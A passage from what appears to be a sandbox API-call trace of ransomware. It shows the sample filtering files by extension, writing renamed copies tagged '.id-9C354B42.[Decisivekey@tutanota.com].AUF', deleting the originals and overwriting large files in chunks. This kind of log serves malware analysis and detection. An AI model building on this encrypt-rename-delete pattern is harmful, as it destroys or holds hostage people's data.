(lpString=".ppt") returned 4 [0222.427] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".zip") returned 4 [0222.427] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".rar") returned 4 [0222.427] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".bz2") returned 4 [0222.427] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.427] lstrlenW (lpString=".7z") returned 3 [0222.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".dbf") returned 4 [0222.427] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".1cd") returned 4 [0222.427] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".jpg") returned 4 [0222.427] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.428] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0222.428] lstrlenW (lpString="ODeploy.exe") returned 11 [0222.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.428] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=571320) returned 1 [0222.428] CloseHandle (hObject=0x218) returned 1 [0222.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0222.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.428] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.428] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0222.429] GetLastError () returned 0x0 [0222.429] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x8b7b8, lpOverlapped=0x0) returned 1 [0222.571] WriteFile (in: hFile=0x168, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x8b7c0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x8b7c0, lpOverlapped=0x0) returned 1 [0222.599] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.599] WriteFile (in: hFile=0x168, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.599] SetEndOfFile (hFile=0x168) returned 1 [0222.600] CloseHandle (hObject=0x168) returned 1 [0222.600] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.600] SetEndOfFile (hFile=0x218) returned 1 [0222.604] CloseHandle (hObject=0x218) returned 1 [0222.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.604] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 1 [0222.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.604] lstrlenW (lpString=".doc") returned 4 [0222.604] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0222.604] lstrlenW (lpString=".docx") returned 5 [0222.604] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0222.604] lstrlenW (lpString=".pdf") returned 4 [0222.604] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0222.604] lstrlenW (lpString=".xls") returned 4 [0222.604] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0222.604] lstrlenW (lpString=".xlsx") returned 5 [0222.604] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0222.604] lstrlenW (lpString=".ppt") returned 4 [0222.604] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0222.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.604] lstrlenW (lpString=".zip") returned 4 [0222.604] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString=".rar") returned 4 [0222.605] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString=".bz2") returned 4 [0222.605] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0222.605] lstrlenW (lpString=".7z") returned 3 [0222.605] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString=".dbf") returned 4 [0222.605] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString=".1cd") returned 4 [0222.605] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString=".jpg") returned 4 [0222.605] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString=".doc") returned 4 [0222.605] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0222.605] lstrlenW (lpString=".docx") returned 5 [0222.605] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0222.605] lstrlenW (lpString=".pdf") returned 4 [0222.605] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString=".xls") returned 4 [0222.605] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString=".xlsx") returned 5 [0222.605] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0222.605] lstrlenW (lpString=".ppt") returned 4 [0222.605] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString=".zip") returned 4 [0222.605] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString=".rar") returned 4 [0222.605] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0222.605] lstrlenW (lpString=".bz2") returned 4 [0222.605] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0222.605] lstrlenW (lpString=".7z") returned 3 [0222.605] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.605] lstrlenW (lpString=".dbf") returned 4 [0222.605] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0222.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.606] lstrlenW (lpString=".1cd") returned 4 [0222.606] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0222.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0222.606] lstrlenW (lpString=".jpg") returned 4 [0222.606] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0222.606] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0222.606] lstrlenW (lpString="OSETUPUI.DLL") returned 12 [0222.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.665] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=191872) returned 1 [0222.665] CloseHandle (hObject=0x230) returned 1 [0222.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0222.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.665] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.665] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.665] GetLastError () returned 0x0 [0222.665] ReadFile (in: hFile=0x230, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0222.722] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0222.724] ReadFile (in: hFile=0x230, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.725] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.725] SetEndOfFile (hFile=0x1e4) returned 1 [0222.725] CloseHandle (hObject=0x1e4) returned 1 [0222.725] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.725] SetEndOfFile (hFile=0x230) returned 1 [0222.727] CloseHandle (hObject=0x230) returned 1 [0222.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.727] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 1 [0222.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.727] lstrlenW (lpString=".doc") returned 4 [0222.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.727] lstrlenW (lpString=".docx") returned 5 [0222.727] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0222.727] lstrlenW (lpString=".pdf") returned 4 [0222.727] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.727] lstrlenW (lpString=".xls") returned 4 [0222.727] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.727] lstrlenW (lpString=".xlsx") returned 5 [0222.727] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0222.727] lstrlenW (lpString=".ppt") returned 4 [0222.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString=".zip") returned 4 [0222.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".rar") returned 4 [0222.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".bz2") returned 4 [0222.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.728] lstrlenW (lpString=".7z") returned 3 [0222.728] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString=".dbf") returned 4 [0222.728] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString=".1cd") returned 4 [0222.728] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString=".jpg") returned 4 [0222.728] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString=".doc") returned 4 [0222.728] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".docx") returned 5 [0222.728] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0222.728] lstrlenW (lpString=".pdf") returned 4 [0222.728] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".xls") returned 4 [0222.728] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".xlsx") returned 5 [0222.728] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0222.728] lstrlenW (lpString=".ppt") returned 4 [0222.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.728] lstrlenW (lpString=".zip") returned 4 [0222.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".rar") returned 4 [0222.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.728] lstrlenW (lpString=".bz2") returned 4 [0222.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.728] lstrlenW (lpString=".7z") returned 3 [0222.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.729] lstrlenW (lpString=".dbf") returned 4 [0222.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.729] lstrlenW (lpString=".1cd") returned 4 [0222.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0222.729] lstrlenW (lpString=".jpg") returned 4 [0222.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.729] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0222.729] lstrlenW (lpString="OSETUP.DLL") returned 10 [0222.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.735] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=7379816) returned 1 [0222.735] CloseHandle (hObject=0x1f8) returned 1 [0222.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0222.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0222.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.736] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0222.736] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.736] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.765] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.765] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.797] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.797] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.797] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.098] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.098] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0223.167] SetEndOfFile (hFile=0x1f8) returned 1 [0223.263] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.263] WriteFile (in: hFile=0x1f8, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.286] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.286] WriteFile (in: hFile=0x1f8, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.288] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.288] WriteFile (in: hFile=0x1f8, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.289] CloseHandle (hObject=0x1f8) returned 1 [0223.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.289] lstrlenW (lpString=".doc") returned 4 [0223.289] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.289] lstrlenW (lpString=".docx") returned 5 [0223.289] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0223.289] lstrlenW (lpString=".pdf") returned 4 [0223.289] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.289] lstrlenW (lpString=".xls") returned 4 [0223.289] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.289] lstrlenW (lpString=".xlsx") returned 5 [0223.289] lstrcmpiW (lpString1=".xlsx", 